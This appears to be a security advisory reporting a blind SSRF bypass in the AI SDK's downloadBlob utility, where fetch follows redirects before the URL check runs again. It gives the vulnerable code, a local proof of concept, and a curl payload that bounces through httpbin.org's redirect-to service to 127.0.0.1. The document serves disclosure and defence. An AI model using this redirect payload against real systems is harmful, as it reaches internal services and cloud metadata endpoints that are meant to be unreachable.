Title: Server-Side Request Forgery (SSRF) Bypass via HTTP Redirects in downloadBlob
Description:
An open redirect vulnerability or an attacker-controlled external server can bypass the IP blacklisting mechanism in validateDownloadUrl, allowing unauthenticated attackers to execute Blind Server-Side Request Forgery (SSRF) attacks against internal network resources.
The @ai-sdk/provider-utils package provides a downloadBlob utility to fetch remote images and content safely by enforcing an SSRF blacklist via the validateDownloadUrl(url) function. validateDownloadUrl strictly checks whether the target URL domain resolves to private, loopback, or link-local IP addresses (e.g., 127.x.x.x, 10.x.x.x, 192.168.x.x).
However, there is a Time-of-Check to Time-of-Use (TOCTOU) gap during HTTP redirection. When native fetch(url) is invoked after the initial validation, it acts with the default configuration of redirect: 'follow'. An attacker can supply a completely valid public URL (e.g., a public server they control, or an open redirect service like httpbin.org) which successfully passes the initial validateDownloadUrl check. Upon execution, the fetch client automatically follows the 302 HTTP redirect sent by the external proxy and silently issues a request to the designated internal IP address before resolving back to the SDK.
Although the SDK performs a post-flight validation sequence (if (response.redirected) { validateDownloadUrl(response.url); }), this safety net occurs too late. The HTTP packet has already hit the internal backend service. The application correctly prevents the attacker from reading the response (yielding a Blind SSRF), but the state-modifying backend endpoint has already been successfully triggered.
Vulnerable Code in packages/provider-utils/src/download-blob.ts:
validateDownloadUrl(url); // [1] Initial check strictly passes for public domains
try {
const response = await fetch(url, { // [2] fetch automatically follows malicious 302 redirects to internal IPs
signal: options?.abortSignal,
});
// [3] Post-flight check occurs AFTER the internal network request has already been completed
if (response.redirected) {
validateDownloadUrl(response.url);
}The following standalone PoC demonstrates a bypass of validateDownloadUrl by utilizing the public httpbin.org open redirection service to bounce a fetch() request into a simulated internal protected server at 127.0.0.1:8560.
- Save the following code as
server.tsto simulate a vulnerable AI application accepting an image URL:
import express from 'express';
import { generateText } from 'ai';
import { openai } from '@ai-sdk/openai';
const app = express();
app.use(express.json());
app.post('/api/chat', async (req, res) => {
const { imageUrl } = req.body;
try {
const { text } = await generateText({
model: openai('gpt-4-vision-preview'),
messages: [{ role: 'user', content: [{ type: 'text', text: 'What?' }, { type: 'image', image: imageUrl }] }]
});
res.json({ text });
} catch (e: any) { res.json({ error: e.message }); }
});
app.listen(3000, () => console.log('Listening on port 3000'));- Start the mock vulnerable application:
OPENAI_API_KEY=dummy npx tsx server.ts- In a second terminal, start a mock internal service listener representing the local protected target:
python3 -m http.server 8560 --bind 127.0.0.1- In a third terminal, submit the external malicious payload pointing to the open redirect:
curl -X POST http://127.0.0.1:3000/api/chat \
-H "Content-Type: application/json" \
-d '{"imageUrl": "http://httpbin.org/redirect-to?url=http%3A%2F%2F127.0.0.1%3A8560%2Fsecret_metadata"}'The vulnerable server will throw a 500 error ("error":"URL with IP address 127.0.0.1 is not allowed"), but the terminal running the internal listener firmly confirms the SSRF traversal:
127.0.0.1 - - [30/Mar/2026 14:00:00] "GET /secret_metadata HTTP/1.1" 404 -
This vulnerability permits Blind Server-Side Request Forgery against internal infrastructure. Although attackers cannot inherently read exfiltrated data back through the payload response due to the post-flight validation error, they can forge direct GET requests to the private/loopback networks. This exposes the ecosystem to:
- Mutating states on unprotected internal microservices, AWS Metadata, docker daemons, or configuration consoles via unprotected logic pathways.
- Triggering internal REST actions remotely.
- Internal port discovery or resource denial-of-service via slow-connection timeouts.
- Ecosystem: npm
- Package name:
@ai-sdk/provider-utils,ai - Affected versions: All versions supporting
downloadBlob - Patched versions:
- Severity: Medium
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N
- CWE: CWE-918: Server-Side Request Forgery (SSRF)
| Permalink | Description |
|---|---|
packages/provider-utils/src/download-blob.ts |
The downloadBlob method executing native fetch over user-controlled URLs without overriding the default redirect-following behavior (redirect: 'manual'). |